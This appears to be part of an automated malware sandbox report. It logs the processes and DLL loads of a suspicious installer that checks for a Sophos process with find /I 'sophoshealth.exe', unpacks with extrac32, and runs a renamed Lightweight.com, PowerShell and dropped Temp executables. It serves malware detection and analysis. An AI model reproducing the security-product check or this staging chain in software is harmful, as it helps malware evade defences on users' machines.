Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
